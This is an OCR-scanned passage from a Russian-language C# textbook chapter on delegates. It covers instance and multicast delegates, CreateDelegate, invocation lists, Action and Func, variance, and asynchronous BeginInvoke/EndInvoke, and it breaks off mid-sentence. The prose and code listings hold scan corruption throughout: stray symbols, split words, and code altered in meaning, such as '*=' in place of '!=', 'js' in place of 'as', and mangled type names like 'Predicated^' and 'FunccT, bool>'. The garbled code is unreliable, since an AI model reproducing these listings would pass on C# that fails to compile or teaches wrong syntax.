Глава 9 { return value > Threshold; 1 i public Predicate<int> GetlsGreaterThanPredicate() * { return IsGreaterThan; i } ' } i Альтернативный способ состоит в том, чтобы явно указать, какой эк| земпляр вам требуется. В листинге 9.8 создаются три экземпляра класс! Thresholdcomparer из листинга 9.7, а затем — три делегата, ссылающиха на метод IsGreaterThan, по одному делегату на каждый экземпляр. Листинг 9.8. Явный экземплярный делегат var zeroThreshold = new Thresholdcomparer { Threshol^ = 0 }; var tenThreshold = new Thresholdcomparer { Threshold =10 }; var hundredThreshold = new Thresholdcomparer { Threshold = 100 }; Predicate<int> greaterThanZero = zeroThreshold.IsGreaterThan; Predicate<int> greaterThanTen = tenThreshold.IsGreaterThan; Predicate<int> greaterThanOneHundred = hundredThreshold. IsGreaterThan; При этом не обязательно ограничиваться простыми выражениям! вида имяПеременной.ИмяМетода. Вы можете взять лйэбое выражение, вы числение которого дает объектную ссылку, и просто добавить к нем] .ИмяМетода-, если у объекта есть один или несколько методов с такии именем, полученное выражение будет корректной группой методов. C# не позволяет создавать делегат, ссылающийся на экземпляр ный метод, без явной или неявной спецификации нужного экземпляр и всегда инициализирует делегат этим экземпляром. Когда вы передаете делегат некоторому другому коду, тому ш . * обязательно знать, является ли целевой метод делегата стати ДУ ческим или экземплярным; а в случае экземплярного метод! коду, использующему делегат, не требуется предоставлять эк земпляр. Делегаты, которые ссылаются на экземплярные мето ды, всегда знают, на какой экземпляр и метод они ссылаются. Существует еще один способ создания делегата, который можа быть полезным, когда о Той, какой метод или объект будет использо 422
Делегаты, лямбда-выражения и события ваться, становится известно лишь на этапе выполнения. Класс Delegate обладает статическим методом CreateDelegate, который позволяет пере- давать тип делегата, целевой объект и целевой метод как аргументы. Су- ществует несколько способов спецификации целевого объекта и метода, поэтому предоставляется несколько перегрузок. В качестве первого ар- гумента все они принимают объект Туре с типом делегата. (Класс Туре является частью API-интерфейса отражения. Мы подробно обсудим данный класс, а также оператор typeof, в главе 13. В том, что касается метода CreateDelegate, это лишь способ сослаться на конкретный тип.) В листинге 9.9 используется перегрузка, которая также принимает целе- вой экземпляр и имя метода. Листинг 9.9. Метод CreateDelegate var greaterThanZero = (Predicate<int>) Delegate.CreateDelegate( typeof(Predicate<int>), zeroThreshold, "IsGreaterThan"); Другие перегрузки предлагают поддержку для опускания целевого объекта, что необходимо при использовании статического метода, а так- же нечувствительности к регистру в имени метода. Существуют пере- грузки, которые для идентификации метода вместо строки принимают объект Methodinfo API-интерфейса отражения. I Пока я приводил примеры делегатов только с одним аргумен- 4 . том> однако вы можете определять делегатные типы с любым - -Ц>У количеством таковых. Например, в библиотеке классов опре- делен тип comparison<T>, который сравнивает два элемента и потому принимает два аргумента (оба с типом т) В версии среды CLR, доступной для приложений с пользователь- ским интерфейсом в стиле Windows 8, данный метод был перемещен в другое место. Для динамического создания делегатов в этой версии следует использовать метод Methodinfo.CreateDelegate. Как вы увидите в главе 13, в доступной для таких приложений усеченной версии .NET были внесены изменения в отношения между API-интерфейсом отра- жения и некоторыми из базовых API-интерфейсов; именно потому дан- ная функциональность «переехала» в другое место. ' Таким образом, делегат совмещает в себе два фрагмента информа- ции: он идентифицирует конкретную функцию, и если это экземпляр- ная функция, он также содержит объектную ссылку. Однако некоторые делегаты делают не только это. 423
Глава 9 Многоадресные делегаты Если вы рассмотрите любой тип делегата с помощью инструмен- та обратного проектирования, такого как ILDASM, то независимо от того, предоставлен ли этот тип библиотекой классов .NET Framework, или вы определили его самостоятельно, вы увидите, что он наследует от базового типа MulticastDelegate. Как подразумевает имя, делегаты могут ссылаться на несколько методов. Это, как правило, полезно лишь в сценариях уведомления, когда в случае некоторого события возника- ет необходимость вызвать несколько методов. Однако вне зависимости от того, нужно это вам или нет, данную возможность поддерживают все делегаты. От THnaMulticastDelegate наследуют даже делегаты с возвращаемым типом, отличным от void, хотя обычно в этом мало смысла. Например, код, который требует тип Predicated^, обычно проверяет возвращаемое значение. Метод Array. Findindex использует его, чтдбы выяснить, соот- ветствует ли элемент заданному критерию поискав Если один делегат будет ссылаться на несколько методов, то что делать методу Findindex с несколькими возвращаемыми значениями? Как оказывается, в таком случае он выполнит все методы, но проигнорирует возвращаемые зна- чения их всех, за исключением метода, выполняемого последним. (Как вы увидите в следующем разделе, это поведение по умолчанию, которое вы получите в том случае, если не предоставите никакой специальной обработки для многоадресных делегатов.) Многоадресность делегатов обеспечивается статическим методом Combine класса Delegate. Этот метод принимает любые два делегата и возвращает один. Вызов результирующего делегата осуществляется таким образом, как если бы вы один за другим вызвали два исходных делегата. Этот механизм действует, даже если аргументы уже ссылаются на несколько методов — можно составлять цепочки из многоадресных де- легатов, ссылающихся на все большее количество методов. Если оба ар- гумента ссылаются на один и тот же метод, то результирующий объеди- ненный делегат будет вызывать его дважды. Объединение делегатов всегда приводит к созданию нового 4 * делегата. Метод Combine не модифицирует передаваемые ему ——3?** делегаты. 424
Делегаты, лямбда-выражения и события В действительности метод Delegate.Combine редко вызывается явно, поскольку C# обладает встроенной поддержкой объединения делегатов. Вы можете использовать операторы + и +=. Листинг 9.10 демонстриру- ет применение обоих этих операторов для объединения в один много- адресный делегат трех делегатов из листинга 9.8. Полученные в этом примере два делегата эквивалентны друг другу — я лишь хотел показать два способа получения одного и того же. И в том, и в другом случае код откомпилируется в два вызова метода Delegate.Combine. Листинг 9.10. Объединение делегатов ?redicate<int> megaPredicatel = greaterThanZero + greaterThanTen + greaterThanOneHundred; Predicate<int> megaPredicate2 = greaterThanZero; r.egaPredicate2 += greaterThanTen; regaPredicate2 += greaterThanOneHundred; Вы можете использовать и операторы - и -=, выдающие новый деле- гат, являющийся копией первого операнда, но не содержит последней ссылки на метод, на который ссылается второй операнд. Как вы могли догадаться, эти операторы компилируются в вызов метода'Delegate. Remove. Удаление делегатов может приводить к неожиданному пове- дению, если удаляемый делегат ссылается на несколько ме- тодов. Вычитание многоадресного делегата будет успешным только в том случае, если делегат, из которого производится вычитание, содержит все методы, содержащиеся в удаляемом делегате, и они расположены один за другим в том же поряд- ке. (Эта операция, по сути, ищет одно точное соответствие для своих входных данных, а не удаляет каждый из содержащихся в них элементов.) Если взять делегаты из листинга 9.10, то вы- читание из делегата megaPredicatel выражения (greaterThanTen + greaterThanOneHundred) будет выполнено, а вычитание выра- жения (greaterThanZero + greaterThanOneHundred) — нет. Хотя ВО втором случае делегат megaPredicatel и содержит ссылки на те же два метода, и они расположены в том же порядке, но они не стоят непосредственно друг за другом — между ними по- мещается еще один делегат. Таким образом, иногда бывает проще обойтись без удаления многоадресных- делегатов — удаление манипуляторов по одному за раз позволяет избе- жать подобных проблем. 425
Глава 9 Вызов делегата i I К этому моменту я показал, как создавать делегат, но что если вы раз-) рабатываете собственный API-интерфейс, которому нужно выполнять) обратный вызов метода, предоставляемого вызывающей программой?, Иными словами, как можно воспользоваться делегатом? Первое, что вам] потребуется сделать, — выбрать тип делегата. Можно использовать тип, предоставляемый библиотекой классов, или, если необходимо, опреде- лить собственный. Этот тип делегата можно использовать для параметра метода или свойства. Листинг 9.11 демонстрирует, что делать, когда вам нужно вызвать метод (или методы), на которые ссылается делегат. Листинг 9.11. Вызов делегата public static void CallMeRightBack(Predicate<int> userCallback) { bool result = userCallback(42); Console.WriteLine(result); r I / Как показывает мой не слишком реалистичный пример, вы можете использовать переменную с типом делегата, как если бы это была функ- ция. За любым выражением, которое дает в результате делегат, может следовать заключенный в круглые скобки список аргументов. При этом компилятор сгенерирует код, выполняющий вызов делегата. Если деле- гат обладает возвращаемым типом, отличным от vqrd, то значением вы- ражения вызова будет то, что возвращает метод, на который ссылается делегат (если же делегат ссылается на несколько методов, этим значе- нием будет возвращаемое последним методом). Делегаты в .NET пред- ставляют собой особую разновидность типов, ведущих себя не так, как классы или структуры. Компилятор генерирует внешне обычно выгля- дящее определение класса с рядом членов, которые мы вскоре рассмо- трим, однако все эти члены являются пустыми — ни для одного из них C# не создает IL-код. Среда CLR предоставляет реализацию на этапе выполнения. Она делает работу, необходимую для вызова целевого ме- тода, включая вызов всех методов в многоадресных сценариях. Хотя делегаты являются особыми типами с кодом, генерируе- *<?; мым на этапе выполнения, в их вызове, в конце концов, нет -ч ничего сверхъестественного. Он осуществляется в том же по- токе, и через метод, вызванный с помощью делегата, исклю- 426
Делегаты, лямбда-выражения и события чения распространяются точнсгтйк же, как если бы этот ме- тод был вызван напрямую. Вызов делегата с одним целевым методом осуществляется так, как если бы ваш код вызывал целевой метод обычным способом. Вызов многоадресного делегата равносилен поочередному вызову каждого из его целевых методов. Если вам нужно получить все возвращаемые значения многоадрес- ного делегата, вы можете взять процесс его вызова под контроль. Код в листинге 9.12 извлекает список вызова делегата, представляющий со- бой массив, где содержатся однометодные делегаты для каждого из ме- тодов, на которые ссылается исходный многоадресный делегат. Если ис- ходный делегат содержит только один метод, то список будет содержать один делегат, но при использовании многоадресное™ это позволяет по очереди вызвать каждый делегат. Таким образом данный код получает возможность узнать, что сообщает каждый отдельный предикат. В листинге 9.12 используется хитрость с циклом foreach. Ме- цХ & ш ТОД GetlnvocationList возвращает массив типа Delegate []. Од- - -ОУ нако цикл foreach специфицирует тип переменной итерации как Predicate<int>. Это заставляет компилятор сгенерировать цикл, который приводит к этому типу каждый извлекаемый из коллекции элемент. / / Листинг 9.12. Вызов каждого делегата по-отдельности public static void TestForMajority(Predicate<int> userCallbacks) int trueCount = 0; int falseCount = 0; fcreach (Predicate<int> p in userCallbacks.GetlnvocationList ()) I bool result = p(42) ; if (result) trueCount += 1; } else 427
Глава 9 falseCount += 1; } } if (trueCount > falseCount) { Console.WriteLine("Большинство возвратило значение true"); } else if (falseCount > trueCount) { Console.WriteLine("Большинство возвратило значение false"); } else * ( / Console.WriteLine("Счет равный"); } } Иногда бывает полезным еще один способ вызова делегата. Базовы класс Delegate предоставляет метод Dynamiclnvoke, который можно вб звать для делегата любого типа без необходймости знать на этапе m пиляции, какие именно аргументы требуются. Данный метод принимае массив params типа object [], что позволяет передавать любое количе ство аргументов. Количество и тип аргументов проверяются на этап выполнения. Это позволяет применять определенные сценарии позд него связывания, однако в любом новом коде вы, скорее всего, будет просто использовать встроенные динамические возможности, которы были введены в C# 4.0 (мы рассмотрим их в главе 14). Распространенные типы делегатов Библиотека классов .NET Framework предоставляет ряд полезны типов делегатов, и вы часто сможете использовать эти типы, вместо тог чтобы создавать собственные. Например, в библиотеке определен набо обобщенных делегатов Action с различным количеством параметро типа. Все такие делегаты следуют одному и тому же шаблону: каждом параметру типа соответствует один параметр метода этого типа. Листинг 9.13 демонстрирует первые четыре делегата Action, вклю чая форму без аргументов. 428
Делегаты, лямбда-выражения и события Листинг 9.13. Первые несколько делегатов Acting public delegate void Action(); public delegate void Action<in Tl> (T1 argl); public delegate void Action<in Tl, in T2 >(T1 argl, T2 arg2); public delegate void Action<in Tl, in T2, in T3>(T1 argl, T2 arg2, T3 arg3); Очевидно, что это расширяемая концепция — делегат такой формы, в принципе, может обладать любым количеством аргументов — однако система типов CTS не предоставляет способа определить такой тип как шаблон, и потому библиотека классов вынуждена определять каждую форму как отдельный тип. Как следствие, не существует формы делегата Action с двумястами аргументами. Верхний предел зависит от версии .NET. В случае выпу- сков платформы .NET, обычно используемых на серверах и настольных компьютерах, число аргументов в версии 3.5 дошло только до 4, в то время как в версиях 4.0 и 4.5 — до 16, как и в версии .NET для прило- жений с пользовательским интерфейсом в стиле Windows 8. В случае платформы Silverlight, которая обладает собственным графиком вы- пуска и системой нумерации версий, версия 3 остановилась на 4 аргу- ментах, в то время как версия 4 и последующие также дошли до 16 ар- гументов*. Одним из очевидных ограничений делегатов Action является то, что они обладают возвращаемым типом void и потому не могут ссылаться на методы, возврап{ающие значение. Однако сходное семейство делегат- ных типов, Func, позволяет использовать любой возвращаемый тип. Ли- стинг 9.14 демонстрирует первые несколько делегатов этого семейства, и, как вы можете видеть, они во многом сходны с делегатами Action. Они лишь получают дополнительный последний параметр типа TResult, ко- торый специфицирует возвращаемый тип. Листинг 9.14. Первые несколько делегатов Func public delegate TResult Func<out TResult>(); public delegate TResult Func<in Tl, out TResult>(Tl argl); public delegate TResult Func<in Tl, in T2, out TResult>(Tl argl, T2 arg2); public delegate TResult Func<in Tl, in T2, in T3, out TResult>(Tl argl, T2 arg2, T3 arg3); * Последняя на момент написания книги версия операционной системы Windows Phone, 7.1, основана на Silverlight 3, поэтому она тоже поддерживает только 4 аргумента. 429
Глава 9 Опять же, версия 3.5 полнофункциональной платформы .NET и вер- сия 3 платформы Sil verlight поддерживают до 4 аргументов. Версии 4 и выше обеих платформ поддерживают до 16 аргументов, как и вер- сия .NET для приложений с пользовательским интерфейсом в стиле Windows 8. Эти два семейства делегатов покрывают большинство возможных требований. Если вы не будете создавать монструозные методы с более чем 1 б аргументами, вам вряд ли потребуется что-либо еще. Однако зачем же тогда в библиотеке классов определен отдельный тип Predicated, если вместо него можно просто использовать тип FunccT, bool>? Неко- торые подобные случаи объясняются историей: многие типы делегатов появились в .NET еще до введения таких универсальных типов. Однако это не единственная причина — новые типы делегатов вводятся даже сейчас, потому что иногда удобно определить специализированный тип делегата для обозначения конкретной семантики. Если вы используете делегат FunccT, bool>, то вам известно лишь, что вы получите метод, который принимает значение типа Т и возвра- щает значение типа bool. Однако в случае делегата Predicated^ подраз- умевается, что метод примет решение в отношении экземпляра типа Т и возвратит, соответственно, true или false; не рее методы, которые принимают один аргумент и возвращают значение типа bool, удовлетво- ряют этому шаблону. Предоставляя делегат Predicated^, вы не просто сообщаете, что у вас есть метод с определенной сигнатурой, — вы сооб- щаете, что у вас есть метод, служащий определенной цели. Например, класс HashSet<T> (мы рассмотрели его в главе 5) обладает методом Add, который принимает один аргумент и возвращает значение типа bool и, таким образом, соответствует сигнатуре делегата Predicate<T>, но не его семантике. Главная задача метода Add состоит в том, чтобы выполнить действие с побочным эффектом, возвратив некоторую информацию о том, что было сделано, в то время как предикаты лишь сообщают что- либо о значении или объекте. (Так случилось, что делегат Predicated был введен раньше делегата FunccT, bool>, поэтому его использование в ряде API-интерфейсов обусловлено, в первую очередь, историей. Од- нако имеет значение и семантика — некоторые из более новых API- интерфейсов сделали выбор в пользу делегата Predicate<T> несмотря на то что им уже был доступен делегат FunccT, bool>.) В библиотеке классов Л1ЕТ Framework определено очень много типов делегатов, большинство из которых являются даже более специализиро- ванными, чем Predicate<T>. Так, в пространстве имен System. 10 и его по- 430
Делегаты, лямбда-выражения и события томках определены несколько делегатных типов, связанных с очень спе- цифичными событиями, например, тип SerialPinChangedEventHandler, который используется только при работе со старыми последовательны- ми портами, такими как некогда вездесущий интерфейс RS232. Совместимость типов Типы делегатов не наследуют друг от друга. Любой тип делегата, ко- торый вы определите в С#, будет наследовать непосредственно от типа MulticastDelegate, как это делают все типы делегатов в библиотеке клас- сов. Система типов тем не менее поддерживает определенные неявные преобразования ссылок для обобщенных делегатных типов через кова- риантность и контравариантность. При этом используются почти такие же правила, как в случае интерфейсов. Ключевое слово in в листин- ге 9.3 указывает на то, что аргумент типа Т в типе Predicated^ является контравариантным, а это означает, что при наличии неявного преобра- зования ссылок между двумя типами А и в также существует неявное преобразование ссылок между типами Predicate<B> и Predicate<A>. Ли- стинг 9.15 демонстрирует неявное преобразование, которое становится возможным благодаря этому. Листинг 9.15. Ковариантность делегатов public static bool IsLongString(object о) I var s = о js string; return s *= null && s.Length > 20; ) static void Main(string!] args) Predicate<object> po = IsLongString; Predicate<string> ps = po; Console.WriteLine(ps("Too short")); ) Метод Main сначала создает объект типа Predicatecobject>, ссылаю- щийся на метод IsLongString. Любой целевой метод этого предикатного типа способен просматривать любой объект любого вида, и, таким обра- зом, очевидно, что он удовлетворяет запросы кода, который требует пре- дикат, способный просматривать строки. Поэтому вполне логично, если будет выполняться неявное преобразование к типу Predicate<string> — что и имеет место, благодаря контравариантности. 431
Глава 9 Ковариантность тоже обеспечивается так же, как и в случае интер- фейсов, поэтому обычно связывается с возвращаемым типом делегата (ковариантные параметры типа обозначаются с помощью ключевого слова out). Все встроенные типы делегатов Func обладают ковариант- ным аргументом типа TResult, представляющим возвращаемый тип функции. (Все параметры типа, представляющие параметры функции, являются контравариантными. То же самое справедливо и для аргумен- тов типа делегатных типов Action.) Преобразования делегатов на основе вариантности явля- * ются неявными преобразованиями ссылок. Это означает, ——В?? что при преобразовании ссылочного типа результат будет по-прежнему ссылаться на тот же экземпляр делегата. (Так выполняются не все неявные преобразования. Неявные чис- ловые преобразования создают экземпляр целевого типа; неявные преобразования упаковки создают новую упаковку в куче.) Таким образом, в листинге 9.15 переменные ро и ps ссылаются на один и тот же делегат в куче. ✓ Также можно было бы ожидать, что делегаты одинакового вида будут совместимыми. Например, делегат Predicate<int> способен ссылаться на любой метод, который может использоваться делегатом Func<int, bool>, и наоборот, поэтому вполне объяснимо ожидание, что будет су- ществовать неявное преобразование между этими двумя типами. Еще больше это ожидание может подкрепить раздел о совместимости делега- тов в спецификации языка С#, в котором говорится, что делегаты с иден- тичными списками параметров и возвращаемыми типами являются со- вместимыми. (На самом деле, спецификация идет дальше, утверждая, что допускаются и определенные различия. Например, я уже упоминал ранее, что аргументы типов могут различаться, при условии, что будут оставаться доступными определенные неявные преобразования ссы- лок.) Однако если вы попробуете выполнить код из листинга 9.16, он выдаст сообщение об ошибке. Листинг 9.16. Недопустимое преобразование делегатов Predicate<string> pred = IsLongString; Func<string, bool> f = pred; // Выдаст ошибку компилятора He будет работать и явное приведение типов — избежав ошибки компилятора, вы столкнетесь с ошибкой времени выполнения. Система 432
Делегаты, лямбда-выражения и события типов CTS считает данные типы несовместимыми, поэтому переменная, объявленная с одним делегатным типом, не может содержать ссылку на другой делегатный тип даже при совместимости их сигнатур методов. Правила совместимости делегатов языка C# не рассчитаны на такой сценарий — они используются главным образом для проверки, может ли некоторый метод быть целевым для конкретного делегатного типа. Отсутствие совместимости типов между якобы совместимыми де- легатными типами кажется странным, однако структурно идентичные делегатные типы могут отличаться своей семантикой. Именно поэтому некоторые API-интерфейсы используют специализированные делегат- ные типы, такие как Predicate<T>, несмотря на то что можно было бы взять и более универсальный тип. Если вы обнаружите, что вам необхо- димо выполнить подобное преобразование, это может быть признаком, что у вас не все в порядке с программным дизайном*. Несмотря на вышесказанное, существует возможность создать новый делегат, ссылающийся на тот же метод, что и исходный, если новый тип будет совместим со старым. Всегда лучше остановиться и спросить себя, зачем оно нужно" однако подобное бывает необходимо и на первой взгляд кажется простым. Один из способов сделать это продемонстрирован в ли- стинге 9.17. Однако как будет показано в оставшейся части данного раз- дела, это чуть сложнее, чем кажется, и в действительности не является самым эффективным решением (вот еще один довод в пользу того, чтобы подумать о возможности модифицировать дизайн и обойтись без этого). Листинг 9.17. Делегат, ссылающийся на другой делегат ?isiicate<string> pred = IsLongString; var pred2 = new Func<string, bool> (pred) ; Проблема кода в листинге 9.17 состоит в том, что он вводит допол- нительный ненужный уровень косвенности. Второй делегат не ссыла- ется на тот же метод, что и первый; в действительности он ссылается на первый делегат — таким образом, вместо делегата, представляющего со- бой ссылку на метод IsLongString, переменная pred2 в итоге ссылается на делегат, являющийся ссылкой на делегат, который, в свою очередь, — ссылка на метод IsLongString. Причина этого в том, что пример из ли- * Также возможно, что вы просто энтузиаст динамического программирования и не любите выражать семантику через статические типы. В таком случае, вероятно, вам не следует использовать язык С#; однако прежде чем принять решение, ознакомьтесь с ди- намическими возможностями этого языка, представленными в главе 13. 433
Глава 9 стинга 9.17 компилятор обрабатывает так, как если бы вы написали код, представленный в листинге 9.18. (Все делегатные типы обладают мето- дом Invoke. Он реализуется средой CLR и выполняет работу, необходи- мую для вызова всех методов, на которые ссылается делегат.) Листинг 9.18. Делегат, явно ссылающийся на другой делегат Predicate<string> pred = IsLongString; var pred2 = new Func<string, bool>(pred.Invoke); Как в листинге 9.17, так и в листинге 9.18, когда вызывается второй делегат через переменную pred2, он в свою очередь вызывает делегат, на который ссылается переменная pred, что в итоге приводит к вызову метода IsLongString. То есть в конце концов мы вызываем тот метод,чтоу нам нужен, возможно, не самым прямым способом, как бы нам хотелось. Если вам известно, что делегат ссылается на один метод (то есть вы не используете возможность многоадресное™), то код в листинге 9.19 вы- даст менее косвенный результат. Листинг 9.19. Новый делегат для текущей цели Predicate<string> pred = IsLongString; var pred2 = (Func<string, bool>) Delegate.CreateDelegate( typeof(Func<string, bool>), pred.Target, pred.Method); Данный код извлекает целевой объект и метод из делегата pred| и использует их для создания нового делегата^ Fun^string, bool>. (Как упоминалось ранее, в версии .NET для приложений с пользова- тельским интерфейсом в стиле Windows 8 потребовалось бы приме- нить метод Methodinfo.CreateDelegate. Кроме того, в этом окружении делегаты не предоставляют свойство Method, и вместо него следует ис- пользовать метод GetMethodlnfo.) Результатом является новый делегат, который ссылается непосредственно на тот же метод IsLongString, что и переменная pred. (Свойство Target будет содержать значение null, по- скольку это статический метод, однако я все равно передаю его методу CreateDelegate, поскольку хочу продемонстрировать код, который мож- но использовать и для статических, и для экземплярных методов.) Для работы с многоадресными делегатами код из листинга 9.19 не годится, поскольку он предполагает, что существует только один целевой метод. В таком случае необходимо будет аналогичным образом вызвать метод CreateDelegate для каждого элемента в списке вызова. Хотя с таким сце- нарием приходится иметь дело достаточно редко, для полноты картины я показываю, как это делается, в листинге 9.20. 434
Делегаты, лямбда-выражения и события Листинг 9.20. Преобразование многоадресного делегата public static TResult DuplicateDeleg3t'eAs<TResult> (MulticastDelegate source) { Delegate result = null; foreach (Delegate sourceitem in source.GetlnvocationList ()) { var copy = Delegate.CreateDelegate( typeof(TResult), sourceitem.Target, sourceitem.Method); result = Delegate.Combine(result, copy); } return (TResult) (object) result; В листинге 9.20 аргумент для параметра типа TResult должен . * быть делегатом, потому, возможно, вам покажется странным, В}’почему я не добавил ограничение на этот параметр типа. Здесь напрашивается синтаксис where TResult : delegate. Од- нако такой код не будет работать, как и еще два очевидных варианта: ограничение до типа Delegate или MulticastDelegate. К сожалению, C# не предоставляет способа написать ограни- чение, требующее, чтобы аргумент типа был делегатом. Последние несколько примеров полагаются на использование раз- личных чле^в делегатных типов: Invoke, Target и Method. Второй и третий из них происходят из класса Delegate, базового для класса MulticastDelegate, от которого наследуют все делегатные типы. Свойство Target обладает типом object. Если делегат ссылается на статический метод, это свойство содержит значение null; в противном случае оно со- держит ссылку на экземпляр, для которого вызывается метод. Свойство Method обладает типом Methodinfo. Оно является частью API-интерфейса отражения и идентифицирует конкретный метод. Как будет показано в главе 13, это свойство можно использовать для получения сведений о методе на этапе выполнения, однако в последних двух примерах оно применяется для того, чтобы просто предоставить новому делегату ссыл- ку на тот же метод, на который ссылается существующий делегат. Еще один член, метод Invoke, генерируется компилятором. Это один из нескольких стандартных членов, создаваемых компилятором С#, когда вы определяете делегатный тип. 435
Глава 9 Что скрывается за синтаксисом Хотя (как было показано в листинге 9.3) определение делегатноп| типа занимает лишь одну строку кода, компилятор преобразует этот код в тип, определяющий три метода и конструктор. Конечно, данный тип также наследует члены из своих базовых классов. Все делегаты наследуют от класса MulticastDelegate, однако ecej представляющие интерес экземплярные члены происходят из базового класса Delegate (класс Delegate наследует от класса object, поэтому все делегаты также обладают и повсеместно присутствующими методами класса object). Даже метод GetlnvocationList, который явно относится к возможностям, ориентированным на многоадресность, тоже опреде- лен в базовом классе Delegate. Разделение между классами Delegate и MulticastDelegate пред- *<?; ч ставляет собой результат исторической случайности, который, —- не несет никакого особого смысла. Из^чально в планах ком- пании Microsoft было отдельно предоставить поддержку для многоадресных и для одноадресных делегатов, однако к кон- цу периода подготовки к официальному выпуску .NET 1.0 раз- личие исчезло, и теперь все делегатные типы поддерживают многоадресные экземпляры. Поскольку это случилось на до- статочно позднем этапе, компания Microsoft посчитала слиш- 1 ком рискованным объединять два базовых типа в один; таким образом, различие осталось, несмотря на то что оно уже не служит никакой цели. Я уже показал все из определенных в классе Delegate открытых эк- земплярных членов (Dynamiclnvoke, GetlnvocationList, Target и Method). В листинге 9.21 представлены сигнатуры генерируемых компилятором конструктора и методов делегатного типа. Отдельные детали могут ва- рьироваться от типа к типу; здесь приведены генерируемые члены типа Predicate<T>. Листинг 9.21. Члены делегатного типа public Predicate(object target, IntPtr method); public bool Invoke(T obj); public lAsyncResult Beginlnvoke(T obj, AsyncCallback callback, object state); public bool Endlnvoke(lAsyncResult result); 436 ~
Делегаты, лямбда-выражения и события Любой определяемый вами делегатный тип обладает четырьмя ана- логичными членами, ни один из которых не имеет тела. Компилятор генерирует только объявления; реализации автоматическим образом предоставляются средой CLR на этапе выполнения. Конструктор принимает целевой объект (null в случае статическо- го метода) и идентифицирующий метод указатель IntPtr. Обратите внимание, что это не объект типа Methodlnfo, возвращаемый свойством Method. Конструктор принимает ключ функции, непрозрачный двоичный идентификатор целевого метода. Среда CLR может предоставлять дво- ичные ключи метаданных для всех членов и типов, однако ввиду отсут- ствия С#-синтаксиса для работы с ними обычно мы их не видим. Когда вы конструируете новый экземпляр делегатного типа, компилятор ав- томатически генерирует IL-код, извлекающий ключ функции. Делегаты используют для внутреннего представления ключи по той причине, что это может быть более эффективным по сравнению с использованием ти- пов API-интерфейса отражения, таких как Methodlnfo. Invoke — это метод, который вызывает целевой метод (или методы) делегата. Его можно вызывать явно из кода на языке С#, что демон- стрирует листинг 9.22. Данный пример почти идентичен коду из ли- стинга 9.11, с тем лишь отличием, что после переменной делегата стоит .Invoke. Компилятор сгенерирует в точности такой же код, как и в слу- чае листинга 9.11, так что будете ли вы записывать имя метода Invoke или просто использовать синтаксис, обращающийся с идентификато- рами делегатов как с именами методов — это лишь вопрос стиля. Мне с моим опытом работы на C++ всегда казался привычным синтаксис из листинга 9.11, поскольку он напоминает использование указателей на функцию в этом языке, однако есть мнение, что при явной записи имени метода Invoke легче увидеть, что код использует делегат. Листинг 9.22. Явный вызов метода invoke public static void CallMeRightBack(Predicate<int> userCallback) { bool result = userCallback.Invoke(42); Console.WriteLine (result) ; I Метод Invoke является «домом» для сигнатуры метода делегатного типа. Когда вы определяете делегатный тип, именно здесь в конечном итоге оказываются специфицируемые вами возвращаемый тип и спи- 437
Глава 9 сок параметров. Когда компилятору требуется проверить, совместим ли конкретный метод с делегатным типом (например, когда вы создаете новый делегат этого типа), компилятор сравнивает с предоставленным ему методом метод Invoke. Все делегатные типы обладают двумя методами, обеспечиваю ) щими возможность асинхронного вызова. Если вы вызовете метод; Beginlnvoke, то делегат поставит в очередь элемент работы, который вы- полнит целевой метод в потоке из пула потоков среды CLR. При этом метод Beginlnvoke возвратит управление, не дожидаясь, пока вызов бу- дет завершен (или даже начат). Список параметров метода Beginlnvoke обычно начинается так же, как и у метода Invoke — в случае делега!а Predicate<T> это один параметр типа Т. Если сигнатура делегата содер- жит параметры out, они опускаются, поскольку чтобы возвратить дан- ные через аргумент out, операция должна выполниться до конца, а весь смысл использования метода Beginlnvoke состоит в том, чтобы не дожи- даться, пока это произойдет. / Метод Beginlnvoke добавляет два дополнительных параметра. Пер- вым является объект делегатного типа AsyncCallback; если в качестве него передать не равный null аргумент, то среда CLR использует его для обратного вызова по завершении выполнения асинхронного вызо- ва. Второй параметр относится к типу object, и какое бы значение вы ни передали здесь, оно будет возвращено вам по завершении выполне- ния операции. Делегат не сделает с ним ничего — этот параметр служит лишь для вашего удобства; например, с его помощью можно отслежи- вать, какая именно операция выполняется при одновременном запуске нескольких сходных. Метод Endlnvoke обеспечивает возможность получить результат опе- рации, запущенной с помощью метода Beginlnvoke. Возвращаемое зна- чение делегата становится возвращаемым значением метода Endlnvoke. В листинге 9.21 в качестве возвращаемого типа указан тип bool, по- скольку это возвращаемый тип делегата Predicate<T>. Если вы опреде- лите делегат с параметрами out или ref, они будут включены и в сиг- натуру метода Endlnvoke после параметра типа lAsyncResult — все, что операция выдает в качестве результата, размещается здесь. Если опера- ция выбросит необработанное исключение во время выполнения в пуле потоков, среда CLR перехватит и сохранит его, после чего выбросит по- вторно при вызове метода Endlnvoke. Если метод Endlnvoke будет вызван до завершения выполнения операции, он окажется заблокирован и не возвратит управление, пока операция не закончится. 438
Делегаты, лямбда-выражения и события Поскольку можно запускать несколько одновременных асинхронных операций для одного и того жСДелегата, метод Endlnvoke должен каким- либо образом узнавать, результаты какого именно вызова вы хотите по- лучить. Чтобы сделать это возможным, метод Beginlnvoke возвращает объект типа lAsyncResult. Он идентифицирует конкретную асинхрон- ную операцию в процессе выполнения. Если вы запросите уведомление о завершении выполнения операции, предоставив методу Beginlnvoke неравный null аргумент типа AsyncCallback, тот передаст объект типа lAsyncResult обратному вызову завершения. Метод Endlnvoke прини- мает объект типа lAsyncResult в качестве аргумента и таким образом узнает, результаты какого вызова необходимо вернуть. Объект типа lAsyncResult также обладает свойством AsyncState; сюда в конечном итоге попадает последний из передаваемых методу Beginlnvoke afjry- ментов типа object. I _ Если вы вызываете метод Beginlnvoke, то рано или поздно обязательно нужно сделать и соответствующий вызов мето- I---- да Endlnvoke, даже если операция не возвращает значение (или если возвращаемое значение есть, но не представляет для вас интереса). Если вы забудете вызвать метод Endlnvoke, это может привести к тому, что среда CLR допустит утечку ре- сурсов. Использование методов Beginlnvoke и Endlnvoke для запуска целе- вого ме’уода делегата в потоке из пула потоков называют асинхронным вызовом делегата. (Иногда можно встретить и менее точный термин «асинхронные делегаты». Его нельзя считать удачным, поскольку он подразумевает, что асинхронность является свойством делегата. На самом деле все делегаты поддерживают возможность и синхронного, и асинхронного вызова, и, таким образом, асинхронность — свойство не делегата, а способа его использования, асинхронным является вызов, а не делегат.) Несмотря на то что этот способ выполнения асинхронной работы был достаточно популярен во времена ранних версий .NET, в на- стоящее время он используется уже гораздо реже по трем причинам. Во- первых, в .NET 4.0 была введена библиотека TPL (Task Parallel Library, библиотека параллельных задач), которая предоставляет более гибкие и мощные абстракции для служб пула потоков. Во-вторых, данные ме- тоды реализуют более старый 